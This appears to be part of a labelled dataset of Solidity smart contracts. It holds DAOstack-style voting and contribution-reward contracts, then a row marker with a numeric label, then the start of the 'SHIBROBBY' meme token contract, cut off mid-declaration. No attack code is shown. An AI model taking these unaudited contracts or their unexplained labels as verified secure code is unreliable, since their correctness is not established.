function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
emit StateChange(_proposalId, proposal.state);
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract ContributionReward is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
using SafeMath for uint;
event NewContributionProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
string _descriptionHash,
int256 _reputationChange,
uint[5] _rewards,
IERC20 _externalToken,
address _beneficiary
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event RedeemReputation(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
int256 _amount);
event RedeemEther(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemNativeToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemExternalToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
struct ContributionProposal {
uint256 nativeTokenReward;
int256 reputationChange;
uint256 ethReward;
IERC20 externalToken;
uint256 externalTokenReward;
address payable beneficiary;
uint256 periodLength;
uint256 numberOfPeriods;
uint256 executionTime;
uint[4] redeemedPeriods;
}
mapping(address=>mapping(bytes32=>ContributionProposal)) public organizationsProposals;
struct Parameters {
bytes32 voteApproveParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
require(organizationsProposals[address(proposal.avatar)][_proposalId].executionTime == 0);
require(organizationsProposals[address(proposal.avatar)][_proposalId].beneficiary != address(0));
if (_param == 1) {
organizationsProposals[address(proposal.avatar)][_proposalId].executionTime = now;
}
emit ProposalExecuted(address(proposal.avatar), _proposalId, _param);
return true;
}
function setParameters(
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(
_voteApproveParams,
_intVote
);
parameters[paramsHash].voteApproveParams = _voteApproveParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return (keccak256(abi.encodePacked(_voteApproveParams, _intVote)));
}
function proposeContributionReward(
Avatar _avatar,
string memory _descriptionHash,
int256 _reputationChange,
uint[5] memory _rewards,
IERC20 _externalToken,
address payable _beneficiary
)
public
returns(bytes32)
{
validateProposalParams(_reputationChange, _rewards);
Parameters memory controllerParams = parameters[getParametersFromController(_avatar)];
bytes32 contributionId = controllerParams.intVote.propose(
2,
controllerParams.voteApproveParams,
msg.sender,
address(_avatar)
);
address payable beneficiary = _beneficiary;
if (beneficiary == address(0)) {
beneficiary = msg.sender;
}
ContributionProposal memory proposal = ContributionProposal({
nativeTokenReward: _rewards[0],
reputationChange: _reputationChange,
ethReward: _rewards[1],
externalToken: _externalToken,
externalTokenReward: _rewards[2],
beneficiary: beneficiary,
periodLength: _rewards[3],
numberOfPeriods: _rewards[4],
executionTime: 0,
redeemedPeriods:[uint(0), uint(0), uint(0), uint(0)]
});
organizationsProposals[address(_avatar)][contributionId] = proposal;
emit NewContributionProposal(
address(_avatar),
contributionId,
address(controllerParams.intVote),
_descriptionHash,
_reputationChange,
_rewards,
_externalToken,
beneficiary
);
proposalsInfo[address(controllerParams.intVote)][contributionId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return contributionId;
}
function redeemReputation(bytes32 _proposalId, Avatar _avatar) public returns(int256 reputation) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 0);
proposal.reputationChange = 0;
reputation = int(periodsToPay) * _proposal.reputationChange;
if (reputation > 0) {
require(
ControllerInterface(
_avatar.owner()).mintReputation(uint(reputation), _proposal.beneficiary, address(_avatar)));
} else if (reputation < 0) {
require(
ControllerInterface(
_avatar.owner()).burnReputation(uint(reputation*(-1)), _proposal.beneficiary, address(_avatar)));
}
if (reputation != 0) {
proposal.redeemedPeriods[0] = proposal.redeemedPeriods[0].add(periodsToPay);
emit RedeemReputation(address(_avatar), _proposalId, _proposal.beneficiary, reputation);
}
proposal.reputationChange = _proposal.reputationChange;
}
function redeemNativeToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 1);
proposal.nativeTokenReward = 0;
amount = periodsToPay.mul(_proposal.nativeTokenReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).mintTokens(amount, _proposal.beneficiary, address(_avatar)));
proposal.redeemedPeriods[1] = proposal.redeemedPeriods[1].add(periodsToPay);
emit RedeemNativeToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.nativeTokenReward = _proposal.nativeTokenReward;
}
function redeemEther(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 2);
proposal.ethReward = 0;
amount = periodsToPay.mul(_proposal.ethReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).sendEther(amount, _proposal.beneficiary, _avatar));
proposal.redeemedPeriods[2] = proposal.redeemedPeriods[2].add(periodsToPay);
emit RedeemEther(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.ethReward = _proposal.ethReward;
}
function redeemExternalToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 3);
proposal.externalTokenReward = 0;
if (proposal.externalToken != IERC20(0) && _proposal.externalTokenReward > 0) {
amount = periodsToPay.mul(_proposal.externalTokenReward);
if (amount > 0) {
require(
ControllerInterface(
_avatar.owner())
.externalTokenTransfer(_proposal.externalToken, _proposal.beneficiary, amount, _avatar));
proposal.redeemedPeriods[3] = proposal.redeemedPeriods[3].add(periodsToPay);
emit RedeemExternalToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
}
proposal.externalTokenReward = _proposal.externalTokenReward;
}
function redeem(bytes32 _proposalId, Avatar _avatar, bool[4] memory _whatToRedeem)
public
returns(int256 reputationReward, uint256 nativeTokenReward, uint256 etherReward, uint256 externalTokenReward)
{
if (_whatToRedeem[0]) {
reputationReward = redeemReputation(_proposalId, _avatar);
}
if (_whatToRedeem[1]) {
nativeTokenReward = redeemNativeToken(_proposalId, _avatar);
}
if (_whatToRedeem[2]) {
etherReward = redeemEther(_proposalId, _avatar);
}
if (_whatToRedeem[3]) {
externalTokenReward = redeemExternalToken(_proposalId, _avatar);
}
}
function getPeriodsToPay(bytes32 _proposalId, address _avatar, uint256 _redeemType) public view returns (uint256) {
require(_redeemType <= 3, "should be in the redeemedPeriods range");
ContributionProposal memory _proposal = organizationsProposals[_avatar][_proposalId];
if (_proposal.executionTime == 0)
return 0;
uint256 periodsFromExecution;
if (_proposal.periodLength > 0) {
periodsFromExecution = (now.sub(_proposal.executionTime))/(_proposal.periodLength);
}
uint256 periodsToPay;
if ((_proposal.periodLength == 0) || (periodsFromExecution >= _proposal.numberOfPeriods)) {
periodsToPay = _proposal.numberOfPeriods.sub(_proposal.redeemedPeriods[_redeemType]);
} else {
periodsToPay = periodsFromExecution.sub(_proposal.redeemedPeriods[_redeemType]);
}
return periodsToPay;
}
function getRedeemedPeriods(bytes32 _proposalId, address _avatar, uint256 _redeemType)
public
view
returns (uint256) {
return organizationsProposals[_avatar][_proposalId].redeemedPeriods[_redeemType];
}
function getProposalEthReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].ethReward;
}
function getProposalExternalTokenReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].externalTokenReward;
}
function getProposalExternalToken(bytes32 _proposalId, address _avatar) public view returns (address) {
return address(organizationsProposals[_avatar][_proposalId].externalToken);
}
function getProposalExecutionTime(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].executionTime;
}
function validateProposalParams(int256 _reputationChange, uint[5] memory _rewards) private pure {
require(((_rewards[3] > 0) || (_rewards[4] == 1)), "periodLength equal 0 require numberOfPeriods to be 1");
if (_rewards[4] > 0) {
require(!(int(_rewards[4]) == -1 && _reputationChange == (-2**255)),
"numberOfPeriods * _reputationChange will overflow");
require((int(_rewards[4]) * _reputationChange) / int(_rewards[4]) == _reputationChange,
"numberOfPeriods * reputationChange will overflow");
require((_rewards[4] * _rewards[0]) / _rewards[4] == _rewards[0],
"numberOfPeriods * tokenReward will overflow");
require((_rewards[4] * _rewards[1]) / _rewards[4] == _rewards[1],
"numberOfPeriods * ethReward will overflow");
require((_rewards[4] * _rewards[2]) / _rewards[4] == _rewards[2],
"numberOfPeriods * texternalTokenReward will overflow");
}
}
} | 1 | 2,413 |
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IConditional {
function passesTest(address wallet) external view returns (bool);
}
contract SHIBROBBY is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public treasuryWallet =
payable(0x10c444B13C470B47Bb724578c461f294FAb8EcC7);
address public constant deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
uint256 public rewardsClaimTimeSeconds = 60 * 60 * 6;
mapping(address => uint256) private _rewardsLastClaim;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'Shiba and Robby';
string private constant _symbol = 'SHIBROBBY';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public reflectionFee = 0;
uint256 private _previousReflectFee = reflectionFee;
uint256 public treasuryFee = 7;
uint256 private _previousTreasuryFee = treasuryFee;
uint256 public ethRewardsFee = 0;
uint256 private _previousETHRewardsFee = ethRewardsFee;
uint256 public ethRewardsBalance;
uint256 public buybackFee = 3;
uint256 private _previousBuybackFee = buybackFee;
address public buybackTokenAddress = 0x1B37392207512F5FA8812a3991CC0308107E6995;
address public buybackReceiver = address(this);
uint256 public feeSellMultiplier = 0;
uint256 public feeRate = 10;
uint256 public launchTime;
uint256 public boostRewardsPercent = 50;
address public boostRewardsContract;
address public feeExclusionContract;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
address private constant _uniswapRouterAddress =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private _inSwapAndLiquify;
bool private _isSelling;
bool private _tradingOpen = false;
bool private _isMaxBuyActivated = true;
uint256 public _maxTxAmount = _tTotal.mul(5).div(1000);
uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
uint256 public _maximumBuyAmount = _tTotal.mul(3).div(1000);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event MaxWalletSizeUpdated(uint256 _maxWalletSize);
event SendETHRewards(address to, uint256 amountETH);
event SendTokenRewards(address to, address token, uint256 amount);
event SwapETHForTokens(address whereTo, uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
